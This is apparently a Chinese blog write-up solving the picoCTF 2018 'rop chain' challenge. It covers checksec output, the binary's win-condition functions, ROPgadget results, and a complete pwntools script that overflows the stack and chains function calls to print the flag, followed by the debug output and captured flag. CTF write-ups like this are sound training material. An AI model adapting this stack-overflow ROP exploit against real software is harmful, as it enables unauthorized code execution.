picoctf_2018_rop chain 1

例题:picoctf_2018_rop chain 1

首先检查一下文件:

C:\Users\A\Downloads>checksec PicoCTF_2018_rop_chain
[*] 'C:\\Users\\A\\Downloads\\PicoCTF_2018_rop_chain'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
  • 32位程序,小端序
  • GOT只读
  • 没有栈保护
  • 栈不可执行
  • 地址固定
  • 保留了字符表和调试信息

思路分析

首先看一下main函数:
image

很明显,漏洞在vuln函数,看一下:
image

接下来有两种思路,一是使用ret2libc的办法(没试过,但应该可以),二是用题目给的后门函数(这里用这个办法)。
看一下flag函数:
image
简单来说就是win1和win2为真,并且a1 == -559039827(a1是flag函数的参数,int类型)的时候就会打印flag

看一下win_function1函数:win1 = 1,即win1为真
image

再看一下win_function2函数:
image
这里需要win1为真并且a1 == -1163220307(即win_function2的参数,int类型),就可以让win2 = 1(即win2为真)

因此思路很清晰了

  • 进行栈溢出
  • 调用win_function1函数,使win1为真
  • 调用win_function2函数,传递实参-1163220307,使win2为真
  • 调用flag函数,传递实参-559039827,获取flag

由于这里要用到多个函数,要一次性获取flag,则需要用pop指令清理一下栈帧:

┌──(venv)─(kali㉿kali)-[~/Desktop/ctf/pwn/attack]
└─$ ROPgadget --binary PicoCTF_2018_rop_chain --only "pop|ret"
Gadgets information
============================================================
0x080485d6 : pop ebp ; ret
0x080487e8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804840d : pop ebx ; ret
0x080487ea : pop edi ; pop ebp ; ret
0x080487e9 : pop esi ; pop edi ; pop ebp ; ret
0x080483f6 : ret
0x0804854e : ret 0xeac1

Unique gadgets found: 7

这里用这个:

0x0804840d : pop ebx ; ret

还有p32默认按无符号32位整数打包数据,因此我们不能直接传入负数,需要转成16进制(记得参数a1是int类型,占4字节的)
image

攻击脚本

from pwn import *
file = "./PicoCTF_2018_rop_chain"
context.log_level = 'debug'

elf = ELF(file)
main = elf.symbols["main"]
flag = elf.symbols["flag"]
win_function1 = elf.symbols["win_function1"]
win_function2 = elf.symbols["win_function2"]
pop_ebx_ret = 0x0804840d
offset = 0x18 + 4

message = b'Enter your input> '

a1 = 0xBAAAAAAD
a2 = 0xDEADBAAD

local = 2
if local == 1:
    io = process(file)
else:
    io = remote("node5.buuoj.cn",28669)

pay = b'a' * offset
#pay += p32(main)
pay += p32(win_function1)
pay += p32(win_function2) + p32(pop_ebx_ret) + p32(a1)
pay += p32(flag) + p32(pop_ebx_ret) + p32(a2)
io.recvuntil(message)
io.sendline(pay)
io.recvall()

就可以得到flag了:

点击查看代码
[*] '/home/kali/Desktop/ctf/pwn/attack/PicoCTF_2018_rop_chain'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[+] Opening connection to node5.buuoj.cn on port 28669: Done
[DEBUG] Received 0x12 bytes:
    b'Enter your input> '
[DEBUG] Sent 0x39 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    00000010  61 61 61 61  61 61 61 61  61 61 61 61  cb 85 04 08  │aaaa│aaaa│aaaa│····│
    00000020  d8 85 04 08  0d 84 04 08  ad aa aa ba  2b 86 04 08  │····│····│····│+···│
    00000030  0d 84 04 08  ad ba ad de  0a                        │····│····│·│
    00000039
[+] Receiving all data: Done (86B)
[DEBUG] Received 0x2b bytes:
    b'flag{eefc968b-a6b0-436d-bfc9-6225c70b77ee}\n'
[DEBUG] Received 0x2b bytes:
    b'timeout: the monitored command dumped core\n'
[*] Closed connection to node5.buuoj.cn port 28669
posted @ 2025-08-09 16:00  星冥鸢  阅读(27)  评论(0)    收藏  举报